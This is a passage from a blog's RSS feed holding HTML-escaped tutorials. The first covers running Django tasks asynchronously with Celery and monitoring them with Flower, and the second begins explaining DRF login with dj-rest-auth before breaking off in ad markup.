&lt;em&gt;celery.py&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/CeleryEjecutandoseEnConsola.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/CeleryEjecutandoseEnConsola.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Celery running in console&#34; width=&#34;1014&#34; height=&#34;646&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Celery running on the terminator. See how the transport option in [config] points to port 5672, characteristic of rabbitmq.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tasks-in-celery&#34;&gt;Tasks in celery&lt;/h2&gt;&#xA;&lt;p&gt;To create a task we need a file called &lt;em&gt;tasks.py&lt;/em&gt; in our application, which will contain our functions, decorated with &lt;em&gt;@app.task&lt;/em&gt;, and call its &lt;em&gt;delay()&lt;/em&gt; method in our views to execute them asynchronously.&lt;/p&gt;&#xA;&lt;h3 id=&#34;creating-a-celery-task-in-django&#34;&gt;Creating a celery task in django&lt;/h3&gt;&#xA;&lt;p&gt;Next we are going to create a &lt;em&gt;tasks.py&lt;/em&gt; file in our application (not in the project) this is where we will place our time expensive tasks for celery to take care of them. To emulate a time expensive task I&amp;rsquo;m going to use Python&amp;rsquo;s time library.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/__init__.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; celeryApp.celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; app&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; time&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;waitNSeconds&lt;/span&gt;(n):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    time&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;sleep(n)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We import celeryApp app, the text we use to name our Celery app in the &lt;em&gt;celery.py.&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Important&lt;/strong&gt;: In previous versions of celery the import was done directly from the celery object, adapt the import to your version of celery.&lt;/p&gt;&#xA;&lt;p&gt;Following the creation of that file our folder structure will be similar to this.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; celeryApp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; asgi&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; celery&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; __pycache__&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; celery&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;cpython&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;38.&lt;/span&gt;pyc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff5c57&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;cpython&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;38.&lt;/span&gt;pyc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; settings&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; urls&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff5c57&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt; wsgi&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; db&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;sqlite3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; myTasks&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; apps&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; migrations&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff5c57&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; tasks&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; tests&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff5c57&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt; views&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; Pipfile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt; Pipfile&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;lock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;execute-tasks-in-celery&#34;&gt;Execute tasks in celery&lt;/h3&gt;&#xA;&lt;p&gt;The decorator task that comes with the app will tell Celery to process this task.&lt;/p&gt;&#xA;&lt;p&gt;With the &lt;em&gt;tasks.py&lt;/em&gt; file created, we modify the views file of our application.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/__init__.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.http &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; JsonResponse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .tasks &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; waitNSeconds&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;slowResponseView&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    waitNSeconds&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;delay(&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; JsonResponse({&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;response&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ok&amp;#34;&lt;/span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We import the task we have just created and execute its delay method, passing it our argument (the number of seconds to wait). This will tell celery to execute our task asynchronously.&lt;/p&gt;&#xA;&lt;p&gt;If we now access the view we just created, we will see that it &lt;strong&gt;returns the JSON response immediately, without waiting the 3 seconds&lt;/strong&gt;. While in the terminal appear the messages of the task that is being processed by Celery&lt;/p&gt;&#xA;&lt;p&gt;Celery takes care of our task, so that it does not interrupt the flow of our Django application.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/DjangoEjecutandoTareaAsincrona.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/DjangoEjecutandoTareaAsincrona.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Celery preventing time-consuming task from delaying server response&#34; width=&#34;1748&#34; height=&#34;996&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Celery handling the task that is executed with each web request in an asynchronous manner.&lt;/p&gt;&#xA;&lt;p&gt;For more details on how to connect celery to Django remember that you can check the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.celeryproject.org/en/stable/django/first-steps-with-django.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;celery official documentation&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;task-monitoring-with-flower&#34;&gt;Task monitoring with Flower&lt;/h2&gt;&#xA;&lt;p&gt;Celery has several complementary applications that allow you to increase control over your tasks, for example flower, which is in charge of monitoring celery tasks.&lt;/p&gt;&#xA;&lt;p&gt;Flower is simple to use, just install it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install flower&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And, subsequently, pass it to our celery application as if it were an argument.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;celery -A celeryApp flower&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After executing the Flower command it will be available on port 5555.&lt;/p&gt;&#xA;&lt;p&gt;Flower will show us the active tasks, processed, with failure and information of each one of them.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/FlowerParaCelery.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/FlowerParaCelery.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Flower application, main panel&#34; width=&#34;1919&#34; height=&#34;495&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Flower main panel available on port 5555&lt;/p&gt;&#xA;&lt;p&gt;We will also be able to see specific information for each task, such as its identifier, arguments, time and execution time.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/FlowerParaCeleryTareas.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/FlowerParaCeleryTareas.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Flower specific task panel&#34; width=&#34;1920&#34; height=&#34;433&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Flower shows us the details of each task&lt;/p&gt;&#xA;&lt;p&gt;See the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://flower.readthedocs.io/en/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;flower documentation&lt;/a&gt;&#xA; for more details.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Celery, in combination with Django serve to solve a problem: the lack of asynchrony in our application. Sending an email, processing some file or responding to a third party service will keep our execution waiting for the task to finish and, as a consequence, our user waiting.&lt;/p&gt;&#xA;&lt;p&gt;Using celery is one of the things you can do to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/&#34;&gt;improve the performance of a Django application&lt;/a&gt;&#xA;. And you can also create periodic tasks with celery and django.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Login using Django Rest Framework DRF</title>
      <link>https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/</link>
      <pubDate>Tue, 17 Aug 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Almost all complex Django applications need views for Login, Logout, reboot and password change, as well as user registration. However, both Django and Django REST Framework (DRF) are completely agnostic about their implementation, and delegate the responsibility for these functions to the users of their frameworks. Fortunately there are libraries that make this task quite simple.&lt;/p&gt;&#xA;&lt;p&gt;If you are about to develop an API, I have a post with &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;recommendations on REST API design&lt;/a&gt;&#xA; that can be useful for you.&lt;/p&gt;&#xA;&lt;h2 id=&#34;user-authentication-and-login-with-drf&#34;&gt;User authentication and login with DRF&lt;/h2&gt;&#xA;&lt;p&gt;Meet dj-rest-auth. This library that handles all the heavy lifting of basic user management functions such as login, logout, reset and password change.&lt;/p&gt;&#xA;&lt;h3 id=&#34;installation-of-dj-rest-auth&#34;&gt;Installation of dj-rest-auth&lt;/h3&gt;&#xA;&lt;p&gt;To use it we install the package using the pipenv virtual environment manager, or your favorite package manager.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install dj&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;rest&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;auth&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2.1.7&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Installing dj-rest-auth will also install rest_framework&lt;/p&gt;&#xA;&lt;p&gt;Then we add our applications to the configuration file&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework.authtoken&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dj_rest_auth&amp;#39;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In addition to the changes in the applications, we have to tell rest_framework to allow authentication through Tokens in our application.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REST_FRAMEWORK &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DEFAULT_PERMISSION_CLASSES&amp;#39;&lt;/span&gt;: [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework.permissions.IsAuthenticated&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DEFAULT_AUTHENTICATION_CLASSES&amp;#39;&lt;/span&gt;: [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework.authentication.SessionAuthentication&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework.authentication.TokenAuthentication&amp;#39;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Following the above changes we will run our migrations&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If everything went well, we add the necessary paths, I have added them to &lt;em&gt;api/authentication/&lt;/em&gt;, but you can use another path.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 